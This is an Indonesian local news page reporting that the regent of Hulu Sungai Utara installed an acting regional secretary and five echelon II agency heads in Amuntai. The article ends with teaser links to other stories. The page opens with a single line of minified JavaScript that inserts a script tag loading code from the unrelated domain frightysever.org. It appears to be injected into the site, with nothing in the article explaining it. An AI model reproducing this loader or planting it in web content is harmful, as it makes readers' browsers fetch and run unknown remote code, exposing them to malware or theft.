(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Setelah lama tidak memiliki pimpinan tinggi defenitif setingkat Kepala Dinas atau Badan di beberapa SKPD, Bupati Hulu Sungai Utara (HSU) H Abdul Wahid HK, akhirnya melantik penjabat Sekretaris Daerah dan Pejabat Pimpinan Tinggi Pratama (Eselon II) sebagai Kepala Dinas, Kepala Badan, serta Sekretaris Daerah secara defenitif.
Di beberapa SKPD, contohnya saja Dinas Komunikasi dan Informatika (Diskominfo), semenjak terbentuk di awal tahun 2017 hanya diisi pejabat pelaksana tugas (Plt) Kepala Dinas. Sehingga dengan dilantiknya pejabat defenitif diharapkan dapat memberikan kontribusi maksimal SKPD di lingkungan pemkab.
Pelantikan tersebut, digelar di Aula DR KH Idham Khalid Amuntai, Kamis (26/7). Pejabat yang dilantik tersebut terdiri dari 6 orang, yaitu 5 Pejabat Tinggi Pratama (Eselon II) dan 1 Penjabat Sekretaris Daerah. Yaitu Kepala Dinas Komunikasi dan Informatika, Kepala Dinas Pengendalian Penduduk dan Keluarga Berencana, Kepala Dinas Penanaman Modal Pelayanan Terpadu Satu Pintu dan Tenaga Kerja, Kepala Dinas Perpustakan dan Arsip Daerah dan Kepala Badan Penanggulangan Bencana Daerah, serta Sekretaris Daerah.
Usai melantik beberapa pejabat, Bupati HSU dalam sambutannya menyampaikan, pengangkatan penjabat Sekretaris Daerah dilakukan berdasarkan peraturan Presiden Republik Indonesia nomor 3 tahun 2018 tentang penjabat Sekretaris Daerah.
“Penjabat Sekretaris Daerah yang ditetapkan harus memenuhi kriteria dan syarat yang telah ditetapkan sesuai dengan peraturan tersebut, serta persetujuan dari Gubernur Kalimantan Selatan,” ungkapnya.
Sementara pengangkatan Jabatan Pimpinan Tinggi Pratama, ada mekanisme baru dalam penempatan jabatan dimana merujuk pada Undang-Undang nomor 5 tahun 2014 tentang aparatur sipil negara. “Pemilihan Pejabat Tinggi Pratama dilakukan secara terbuka dan kompetitif di kalangan aparatur sipil negara dengan memperhatikan syarat, kompetensi, kepangkatan, pelatihan, rekam jejak, dan integeritas,” lanjut Wahid.
Dirinya juga mengucapkan selamat atas dilantiknya penjabat Sekretaris Daerah dan Pejabat Pimpinan Tinggi Pratama di lingkungan Pemkab HSU. “Atas nama Pemerintah Daerah, selamat dan sukses kepada yang baru dilantik dan berharap mampu melaksanakan tugas serta tanggung jawab yang dipercayakan demi kemajuan dan kemakmuran di Hulu Sungai Utara,” harap Wahid.
Pengambilan Sumpah dan Pelantikan Pejabat kali ini juga disaksikan oleh Ketua DPRD HSU H Sahrujani, pejabat di lingkungan Pemerintah Kabupaten Hulu Sungai Utara serta disiarkan langsung oleh televisi daerah Diskominfo HSU sehingga dapat disaksikan langsung oleh masyarakat. (dew)
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.